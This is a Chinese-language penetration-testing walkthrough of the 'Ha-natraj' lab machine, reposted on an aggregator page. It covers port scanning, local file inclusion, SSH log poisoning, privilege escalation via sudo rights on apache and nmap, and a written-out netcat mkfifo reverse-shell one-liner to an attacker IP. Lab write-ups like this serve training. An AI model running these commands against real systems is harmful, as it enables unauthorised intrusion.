PG::Ha-natraj
创始人
2024-02-15 01:51:17

nmap -Pn -p- -T4 --min-rate=1000 192.168.134.80
image.png
nmap -Pn -p 22,80 -sCV 192.168.134.80
image.png
查看80端口的页面
image.png
未发现可利用的信息，对路径进行爆破
image.png
在/console目录下发现file.php
image.png
测试发现有本地文件包含
image.png
未发现别的利用方式，结合之前做过的靶机，进行日志包含，经过测试发现ssh日志可以利用
image.png
image.png
ssh登录，发现可以读取phpinfo
image.png
把shell写进日志 ‘’
image.png
反弹shell，这里的shell需要URL编码一下
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.49.134 4444 >/tmp/f
image.png
sudo -l发现可以对apache服务进行操作
image.png
上传linpeas脚本进行枚举
image.png
思路：替换apache文件执行的用户，然后上传一个php-reverse-shell到/var/www/html目录下，这样可以弹回该用户的shell。这里不能修改为root用户，是因为改为root服务无法启动。
拷贝文件至本地，添加用户
image.png
上传至靶机，并替换掉原文件
image.png
上传shell至网站根目录
image.png
重启apache服务，得到shell
image.png
image.png
image.png
利用nmap的sudo提权
https://gtfobins.github.io/gtfobins/nmap/#sudo
image.png

上一篇：描写大侠的句子

下一篇：一个风字卷着一个云字是什么（疯狂猜成

相关内容

热门资讯

我喜欢你韩语怎么说 sikid...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日，广西南宁市，街头惊现一座巨型山寨版埃菲尔铁塔，高约20米，白色塔身，造型逼真，...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙，苗语叫“分送”，距从江县城7.5公里，是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始，逐渐走上帝国首都的道路，先是成为大辽朝五大首都之一的南京城，随着金灭辽，金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术，每天Get一个小技能！一、前言描述苹果IPad2居然不能安装怎么办？与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用，包括头部穴位图、胸部穴位图、背部穴位图、胳...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接：一个人的旅行，据说能看到长白山天池全凭运气，您的运气如何？今日介绍...
demo什么意思 demo版本... 618快到了，各位的小金库大概也在准备开闸放水了吧。没有小金库的，也该向老婆撒娇卖萌服个软了，一切只...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗？塑料袋放久了会长猫哦！要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上，选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中，人们投票选出了心目中最美...
我喜欢你韩语怎么说 sikid...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日，广西南宁市，街头惊现一座巨型山寨版埃菲尔铁塔，高约20米，白色塔身，造型逼真，...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙，苗语叫“分送”，距从江县城7.5公里，是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始，逐渐走上帝国首都的道路，先是成为大辽朝五大首都之一的南京城，随着金灭辽，金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术，每天Get一个小技能！一、前言描述苹果IPad2居然不能安装怎么办？与此IPad不...